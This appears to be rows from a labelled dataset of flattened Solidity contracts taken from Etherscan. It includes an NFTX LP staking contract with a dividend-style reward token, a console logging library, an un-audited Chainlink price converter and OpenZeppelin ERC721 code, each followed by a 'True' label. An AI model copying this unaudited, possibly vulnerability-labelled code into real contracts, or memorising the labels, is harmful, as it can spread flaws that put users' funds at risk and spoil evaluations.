_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// File contracts/solidity/token/RewardDistributionTokenUpgradeable.sol
pragma solidity ^0.8.0;
/// @title Reward-Paying Token (renamed from Dividend)
/// @author Roger Wu (https://github.com/roger-wu)
/// @dev A mintable ERC20 token that allows anyone to pay and distribute a target token
/// to token holders as dividends and allows token holders to withdraw their dividends.
/// Reference: the source code of PoWH3D: https://etherscan.io/address/0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe#code
contract RewardDistributionTokenUpgradeable is OwnableUpgradeable, ERC20Upgradeable, IRewardDistributionToken {
using SafeMathUpgradeable for uint256;
using SafeMathInt for int256;
using SafeERC20Upgradeable for IERC20Upgradeable;
IERC20Upgradeable public target;
// With `magnitude`, we can properly distribute dividends even if the amount of received target is small.
// For more discussion about choosing the value of `magnitude`,
// see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728
uint256 constant internal magnitude = 2**128;
uint256 internal magnifiedRewardPerShare;
// About dividendCorrection:
// If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with:
// `dividendOf(_user) = dividendPerShare * balanceOf(_user)`.
// When `balanceOf(_user)` is changed (via minting/burning/transferring tokens),
// `dividendOf(_user)` should not be changed,
// but the computed value of `dividendPerShare * balanceOf(_user)` is changed.
// To keep the `dividendOf(_user)` unchanged, we add a correction term:
// `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`,
// where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed:
// `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`.
// So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed.
mapping(address => int256) internal magnifiedRewardCorrections;
mapping(address => uint256) internal withdrawnRewards;
function __RewardDistributionToken_init(IERC20Upgradeable _target, string memory _name, string memory _symbol) public initializer {
__Ownable_init();
__ERC20_init(_name, _symbol);
target = _target;
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
allowance(sender, _msgSender()).sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function mint(address account, address to, uint256 amount) public onlyOwner virtual {
_mint(account, to, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual onlyOwner {
_burn(account, amount);
}
/// @notice Distributes target to token holders as dividends.
/// @dev It reverts if the total supply of tokens is 0.
/// It emits the `RewardsDistributed` event if the amount of received target is greater than 0.
/// About undistributed target tokens:
/// In each distribution, there is a small amount of target not distributed,
/// the magnified amount of which is
/// `(amount * magnitude) % totalSupply()`.
/// With a well-chosen `magnitude`, the amount of undistributed target
/// (de-magnified) in a distribution can be less than 1 wei.
/// We can actually keep track of the undistributed target in a distribution
/// and try to distribute it in the next distribution,
/// but keeping track of such data on-chain costs much more than
/// the saved target, so we don't do that.
function distributeRewards(uint amount) external override virtual onlyOwner {
require(totalSupply() > 0, "RewardDist: 0 supply");
require(amount > 0, "RewardDist: 0 amount");
// Because we receive the tokens from the staking contract, we assume the tokens have been received.
magnifiedRewardPerShare = magnifiedRewardPerShare.add(
(amount).mul(magnitude) / totalSupply()
);
emit RewardsDistributed(msg.sender, amount);
}
/// @notice Withdraws the target distributed to the sender.
/// @dev It emits a `RewardWithdrawn` event if the amount of withdrawn target is greater than 0.
function withdrawReward(address user) external onlyOwner {
uint256 _withdrawableReward = withdrawableRewardOf(user);
if (_withdrawableReward > 0) {
withdrawnRewards[user] = withdrawnRewards[user].add(_withdrawableReward);
target.safeTransfer(user, _withdrawableReward);
emit RewardWithdrawn(user, _withdrawableReward);
}
}
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function dividendOf(address _owner) public view returns(uint256) {
return withdrawableRewardOf(_owner);
}
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function withdrawableRewardOf(address _owner) internal view returns(uint256) {
return accumulativeRewardOf(_owner).sub(withdrawnRewards[_owner]);
}
/// @notice View the amount of dividend in wei that an address has withdrawn.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has withdrawn.
function withdrawnRewardOf(address _owner) public view returns(uint256) {
return withdrawnRewards[_owner];
}
/// @notice View the amount of dividend in wei that an address has earned in total.
/// @dev accumulativeRewardOf(_owner) = withdrawableRewardOf(_owner) + withdrawnRewardOf(_owner)
/// = (magnifiedRewardPerShare * balanceOf(_owner) + magnifiedRewardCorrections[_owner]) / magnitude
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has earned in total.
function accumulativeRewardOf(address _owner) public view returns(uint256) {
return magnifiedRewardPerShare.mul(balanceOf(_owner)).toInt256()
.add(magnifiedRewardCorrections[_owner]).toUint256Safe() / magnitude;
}
/// @dev Internal function that transfer tokens from one address to another.
/// Update magnifiedRewardCorrections to keep dividends unchanged.
/// @param from The address to transfer from.
/// @param to The address to transfer to.
/// @param value The amount to be transferred.
function _transfer(address from, address to, uint256 value) internal override {
super._transfer(from, to, value);
int256 _magCorrection = magnifiedRewardPerShare.mul(value).toInt256();
magnifiedRewardCorrections[from] = magnifiedRewardCorrections[from].add(_magCorrection);
magnifiedRewardCorrections[to] = magnifiedRewardCorrections[to].sub(_magCorrection);
}
/// @dev Internal function that mints tokens to an account.
/// Update magnifiedRewardCorrections to keep dividends unchanged.
/// @param account The account that will receive the created tokens.
/// @param value The amount that will be created.
function _mint(address account, address to, uint256 value) internal {
super._mint(to, value);
magnifiedRewardCorrections[account] = magnifiedRewardCorrections[account]
.sub( (magnifiedRewardPerShare.mul(value)).toInt256() );
}
/// @dev Internal function that mints tokens to an account.
/// Update magnifiedRewardCorrections to keep dividends unchanged.
/// @param account The account that will receive the created tokens.
/// @param value The amount that will be created.
function _mint(address account, uint256 value) internal override {
super._mint(account, value);
magnifiedRewardCorrections[account] = magnifiedRewardCorrections[account]
.sub( (magnifiedRewardPerShare.mul(value)).toInt256() );
}
/// @dev Internal function that burns an amount of the token of a given account.
/// Update magnifiedRewardCorrections to keep dividends unchanged.
/// @param account The account whose tokens will be burnt.
/// @param value The amount that will be burnt.
function _burn(address account, uint256 value) internal override {
super._burn(account, value);
magnifiedRewardCorrections[account] = magnifiedRewardCorrections[account]
.add( (magnifiedRewardPerShare.mul(value)).toInt256() );
}
/// @dev This event MUST emit when target is distributed to token holders.
/// @param from The address which sends target to this contract.
/// @param weiAmount The amount of distributed target in wei.
event RewardsDistributed(
address indexed from,
uint256 weiAmount
);
/// @dev This event MUST emit when an address withdraws their dividend.
/// @param to The address which withdraws target from this contract.
/// @param weiAmount The amount of withdrawn target in wei.
event RewardWithdrawn(
address indexed to,
uint256 weiAmount
);
uint256[45] private __gap;
}
// File contracts/solidity/NFTXLPStaking.sol
pragma solidity ^0.8.0;
// Author: 0xKiwi.
// Pausing codes for LP staking are:
// 10: Deposit
contract NFTXLPStaking is PausableUpgradeable {
using SafeERC20Upgradeable for IERC20Upgradeable;
INFTXVaultFactory public nftxVaultFactory;
RewardDistributionTokenUpgradeable public rewardDistTokenImpl;
StakingTokenProvider public stakingTokenProvider;
event PoolCreated(uint256 vaultId, address pool);
event PoolUpdated(uint256 vaultId, address pool);
event FeesReceived(uint256 vaultId, uint256 amount);
struct StakingPool {
address stakingToken;
address rewardToken;
}
mapping(uint256 => StakingPool) public vaultStakingInfo;
function __NFTXLPStaking__init(address _stakingTokenProvider) external initializer {
__Ownable_init();
require(_stakingTokenProvider != address(0), "Provider != address(0)");
rewardDistTokenImpl = new RewardDistributionTokenUpgradeable();
rewardDistTokenImpl.__RewardDistributionToken_init(IERC20Upgradeable(address(0)), "", "");
stakingTokenProvider = StakingTokenProvider(_stakingTokenProvider);
}
modifier onlyAdmin() {
require(msg.sender == owner() || msg.sender == nftxVaultFactory.feeDistributor(), "LPStaking: Not authorized");
_;
}
function setNFTXVaultFactory(address newFactory) external onlyOwner {
require(newFactory != address(0));
nftxVaultFactory = INFTXVaultFactory(newFactory);
}
function setStakingTokenProvider(address newProvider) external onlyOwner {
require(newProvider != address(0));
stakingTokenProvider = StakingTokenProvider(newProvider);
}
// Consider changing LP staking to take vault id into consideration, and access data from there.
function addPoolForVault(uint256 vaultId) external onlyAdmin {
require(address(nftxVaultFactory) != address(0), "LPStaking: Factory not set");
require(vaultStakingInfo[vaultId].stakingToken == address(0), "LPStaking: Pool already exists");
address _rewardToken = nftxVaultFactory.vault(vaultId);
address _stakingToken = stakingTokenProvider.stakingTokenForVaultToken(_rewardToken);
StakingPool memory pool = StakingPool(_stakingToken, _rewardToken);
vaultStakingInfo[vaultId] = pool;
address newRewardDistToken = _deployDividendToken(pool);
emit PoolCreated(vaultId, newRewardDistToken);
}
function updatePoolForVaults(uint256[] calldata vaultIds) external {
for (uint256 i = 0; i < vaultIds.length; i++) {
updatePoolForVault(vaultIds[i]);
}
}
// In case the provider changes, this lets the pool be updated. Anyone can call it.
function updatePoolForVault(uint256 vaultId) public {
StakingPool memory pool = vaultStakingInfo[vaultId];
// Not letting people use this function to create new pools.
require(pool.stakingToken != address(0), "LPStaking: Pool doesn't exist");
address _stakingToken = stakingTokenProvider.stakingTokenForVaultToken(pool.rewardToken);
// Staking provider has not changed".
if (_stakingToken == pool.stakingToken) {
return;
}
StakingPool memory newPool = StakingPool(_stakingToken, pool.rewardToken);
vaultStakingInfo[vaultId] = newPool;
address newRewardDistToken = _deployDividendToken(newPool);
emit PoolUpdated(vaultId, newRewardDistToken);
}
function receiveRewards(uint256 vaultId, uint256 amount) external onlyAdmin returns (bool) {
StakingPool memory pool = vaultStakingInfo[vaultId];
if (pool.stakingToken == address(0)) {
// In case the pair is updated, but not yet
return false;
}
RewardDistributionTokenUpgradeable rewardDistToken = _rewardDistributionTokenAddr(pool);
// Don't distribute rewards unless there are people to distribute to.
if (rewardDistToken.totalSupply() == 0) {
return false;
}
// We "pull" to the dividend tokens so the vault only needs to approve this contract.
IERC20Upgradeable(pool.rewardToken).safeTransferFrom(msg.sender, address(rewardDistToken), amount);
rewardDistToken.distributeRewards(amount);
emit FeesReceived(vaultId, amount);
return true;
}
function deposit(uint256 vaultId, uint256 amount) external {
onlyOwnerIfPaused(10);
// Check the pool in case its been updated.
updatePoolForVault(vaultId);
StakingPool memory pool = vaultStakingInfo[vaultId];
_deposit(pool, amount, msg.sender);
}
function depositFor(uint256 vaultId, uint256 amount, address to) external {
require(msg.sender == nftxVaultFactory.zapContract(), "Not zap");
onlyOwnerIfPaused(10);
// Check the pool in case its been updated.
updatePoolForVault(vaultId);
StakingPool memory pool = vaultStakingInfo[vaultId];
// We deposit so the depositer can earn dividends and the zap contract handles the custody side for timelocking.
_deposit(pool, amount, to);
}
function exit(uint256 vaultId) external {
StakingPool memory pool = vaultStakingInfo[vaultId];
_claimRewards(pool, msg.sender);
_withdraw(pool, balanceOf(vaultId, msg.sender), msg.sender);
}
function emergencyExitAndClaim(address _stakingToken, address _rewardToken) external {
StakingPool memory pool = StakingPool(_stakingToken, _rewardToken);
RewardDistributionTokenUpgradeable dist = _rewardDistributionTokenAddr(pool);
require(isContract(address(dist)), "Not a pool");
_claimRewards(pool, msg.sender);
_withdraw(pool, dist.balanceOf(msg.sender), msg.sender);
}
function emergencyExit(address _stakingToken, address _rewardToken) external {
StakingPool memory pool = StakingPool(_stakingToken, _rewardToken);
RewardDistributionTokenUpgradeable dist = _rewardDistributionTokenAddr(pool);
require(isContract(address(dist)), "Not a pool");
_withdraw(pool, dist.balanceOf(msg.sender), msg.sender);
}
function withdraw(uint256 vaultId, uint256 amount) external {
StakingPool memory pool = vaultStakingInfo[vaultId];
_withdraw(pool, amount, msg.sender);
}
function claimRewards(uint256 vaultId) external {
StakingPool memory pool = vaultStakingInfo[vaultId];
_claimRewards(pool, msg.sender);
}
function rewardDistributionToken(uint256 vaultId) external view returns (RewardDistributionTokenUpgradeable) {
StakingPool memory pool = vaultStakingInfo[vaultId];
if (pool.stakingToken == address(0)) {
return RewardDistributionTokenUpgradeable(address(0));
}
return _rewardDistributionTokenAddr(pool);
}
function rewardDistributionTokenAddr(address stakingToken, address rewardToken) public view returns (address) {
StakingPool memory pool = StakingPool(stakingToken, rewardToken);
return address(_rewardDistributionTokenAddr(pool));
}
function balanceOf(uint256 vaultId, address addr) public view returns (uint256) {
StakingPool memory pool = vaultStakingInfo[vaultId];
RewardDistributionTokenUpgradeable dist = _rewardDistributionTokenAddr(pool);
require(isContract(address(dist)), "Not a pool");
return dist.balanceOf(addr);
}
function _deployDividendToken(StakingPool memory pool) internal returns (address) {
bytes32 salt = keccak256(abi.encodePacked(pool.stakingToken, pool.rewardToken));
address rewardDistToken = ClonesUpgradeable.cloneDeterministic(address(rewardDistTokenImpl), salt);
string memory name = stakingTokenProvider.nameForStakingToken(pool.rewardToken);
RewardDistributionTokenUpgradeable(rewardDistToken).__RewardDistributionToken_init(IERC20Upgradeable(pool.rewardToken), name, name);
return rewardDistToken;
}
function _deposit(StakingPool memory pool, uint256 amount, address account) internal {
require(pool.stakingToken != address(0), "LPStaking: Nonexistent pool");
IERC20Upgradeable(pool.stakingToken).safeTransferFrom(msg.sender, address(this), amount);
_rewardDistributionTokenAddr(pool).mint(account, msg.sender, amount);
}
function _claimRewards(StakingPool memory pool, address account) internal {
require(pool.stakingToken != address(0), "LPStaking: Nonexistent pool");
_rewardDistributionTokenAddr(pool).withdrawReward(account);
}
function _withdraw(StakingPool memory pool, uint256 amount, address account) internal {
require(pool.stakingToken != address(0), "LPStaking: Nonexistent pool");
_rewardDistributionTokenAddr(pool).burnFrom(account, amount);
IERC20Upgradeable(pool.stakingToken).safeTransfer(account, amount);
}
// Note: this function does not guarantee the token is deployed, we leave that check to elsewhere to save gas.
function _rewardDistributionTokenAddr(StakingPool memory pool) public view returns (RewardDistributionTokenUpgradeable) {
bytes32 salt = keccak256(abi.encodePacked(pool.stakingToken, pool.rewardToken));
address tokenAddr = ClonesUpgradeable.predictDeterministicAddress(address(rewardDistTokenImpl), salt);
return RewardDistributionTokenUpgradeable(tokenAddr);
}
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
/**
* THIS EXAMPLE USES UN-AUDITED CODE.
* Network: Kovan
* Base: BTC/USD
* Base Address: 0x6135b13325bfC4B00278B4abC5e20bbce2D6580e
* Quote: EUR/USD
* Quote Address: 0x0c15Ab9A0DB086e062194c273CC79f41597Bbf13
* Decimals: 8
*/
contract PriceConverter {
function getDerivedPrice(address _base, address _quote, uint8 _decimals)
public
view
returns (int256)
{
require(_decimals > uint8(0) && _decimals <= uint8(18), "Invalid _decimals");
int256 decimals = int256(10 ** uint256(_decimals));
( , int256 basePrice, , , ) = AggregatorV3Interface(_base).latestRoundData();
uint8 baseDecimals = AggregatorV3Interface(_base).decimals();
basePrice = scalePrice(basePrice, baseDecimals, _decimals);
( , int256 quotePrice, , , ) = AggregatorV3Interface(_quote).latestRoundData();
uint8 quoteDecimals = AggregatorV3Interface(_quote).decimals();
quotePrice = scalePrice(quotePrice, quoteDecimals, _decimals);
return basePrice * decimals / quotePrice;
}
function scalePrice(int256 _price, uint8 _priceDecimals, uint8 _decimals)
internal
pure
returns (int256)
{
if (_priceDecimals < _decimals) {
return _price * int256(10 ** uint256(_decimals - _priceDecimals));
} else if (_priceDecimals > _decimals) {
return _price / int256(10 ** uint256(_priceDecimals - _decimals));
}
return _price;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-03
*/
// Sources flattened with hardhat v2.6.7 https://hardhat.org
// File @openzeppelin/contracts-upgradeable/utils/introspection/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
